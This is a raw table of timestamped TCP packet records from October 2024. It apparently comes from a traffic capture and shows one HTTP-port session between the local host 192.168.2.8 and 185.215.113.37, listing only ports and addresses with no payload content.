Oct 8, 2024 00:13:23.249180079 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.249193907 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.249193907 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.249193907 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.249224901 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.249227047 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.249258041 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.249290943 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.249303102 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.249303102 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.249321938 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.249352932 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.249356031 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.249387980 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.249394894 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.249394894 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.249422073 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.249627113 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.249627113 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.284013033 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.284044981 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.284069061 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.284084082 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.284106016 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.284111977 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.284131050 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.284148932 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.284149885 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.284163952 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.284183025 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.284199953 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.284212112 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.284223080 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.284234047 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.284243107 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.284243107 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.284245014 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.284243107 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.284262896 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.284276009 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.284282923 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.284303904 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.284322977 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.284339905 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.284353971 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.284368992 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.284384012 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.284399033 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.284415007 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.284437895 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.284437895 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.284437895 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.284461975 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.284463882 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.284532070 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.284574032 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.284574032 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.284590006 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.284606934 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.284620047 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.284629107 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.284636021 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.284651995 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.284667969 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.284667969 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.284674883 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.284693956 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.284701109 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.284709930 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.284710884 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.284742117 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.284742117 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.285002947 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.285067081 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.285183907 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.285465956 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.285516024 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.285527945 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.285540104 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.285551071 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.285578966 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.285578966 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.285619974 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.285787106 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.285804987 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.285840034 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.285840034 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.286128044 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.286175013 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.286206961 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.286220074 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.286230087 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.286242962 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.286252975 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.286262989 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.286263943 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.286263943 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.286277056 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.286297083 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.286303043 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.286318064 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.286318064 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.286334991 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.286349058 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.286366940 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.286370993 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.286370993 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.286381960 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.286398888 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.286415100 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.286457062 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.286457062 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.286457062 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.286464930 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.286482096 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.286515951 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.286582947 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.286665916 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.286678076 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.286689043 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.286700010 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.286710978 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.286714077 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.286721945 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.286735058 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.286775112 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.325880051 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.325951099 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.325963020 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.326071024 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.326071024 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.326318979 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.326330900 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.326342106 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.326353073 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.326397896 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.326411009 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.326411009 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.326411009 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.326411963 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.326421022 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.326426983 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.326431036 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.326442003 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.326447964 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.326447964 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.326456070 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.326468945 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.326488018 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.326503992 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.326514959 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.326524973 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.326530933 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.326531887 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.326531887 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.326540947 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.326553106 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.326565981 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.326612949 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.326612949 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.326612949 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.326644897 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.326657057 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.326828957 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.326838970 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.326852083 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.326862097 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.326868057 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.326869011 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.326874018 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.326884985 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.326992035 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.327002048 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.327025890 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.327025890 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.327025890 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.327251911 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.327271938 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.327414036 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.327419996 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.327426910 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.327439070 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.327486992 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.327486992 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.327486992 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.327500105 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.327510118 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.327526093 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.327536106 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.327545881 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.327562094 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.327568054 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.327568054 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.327568054 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.327573061 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.327585936 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.327595949 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.327605963 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.327620029 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.327631950 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.327635050 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.327635050 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.327635050 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.327644110 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.327653885 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.327665091 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.327699900 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.327699900 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.327699900 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.366966009 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.366985083 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.367000103 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.367089987 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.367105007 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.367255926 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.367255926 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.367320061 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.367355108 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.367405891 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.367405891 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.367418051 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.367455006 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.367482901 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.367528915 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.367564917 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.367599010 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.367649078 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.367681026 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.367693901 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.367693901 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.367693901 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.367719889 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.367770910 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.367803097 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.367805004 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.367805004 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.367837906 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.367858887 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.367872953 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.367923021 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.367954016 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.367985964 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.368016958 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.368051052 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.368082047 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.368114948 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.368145943 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.368177891 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.368206024 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.368206024 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.368212938 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.368246078 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.368275881 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.368288994 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.368288994 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.368288994 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.368309021 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.368339062 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.368340015 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.368356943 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.368371964 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.368405104 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.368437052 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.368443966 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.368443966 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.368443966 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.368485928 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.368520975 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.368558884 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.368558884 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.368558884 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.368570089 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.368602991 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.368628979 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.368635893 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.368684053 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.368684053 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.368690968 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.368757963 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.368782997 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.368791103 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.368825912 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.368846893 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.368846893 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.368871927 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.368874073 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.368906021 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.368938923 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.368946075 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.368946075 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.368973970 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.369008064 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.369012117 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.369012117 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.369048119 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.369076967 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.369088888 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.369097948 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.369127989 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.369159937 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.369168043 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.369168043 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.369193077 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.369220972 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.369226933 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.369256020 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.369261026 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.369276047 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.369292974 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.369326115 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.369359016 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.369364023 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.369364023 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.369364023 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.369391918 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.369422913 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.369458914 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.369469881 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.369469881 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.369469881 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.369492054 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.369523048 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.369554043 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.369568110 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.369568110 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.369568110 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.369587898 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.369671106 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.369671106 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:23.408247948 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.408271074 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.408281088 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:23.408332109 CEST	80	49704	185.215.113.37	192.168.2.8
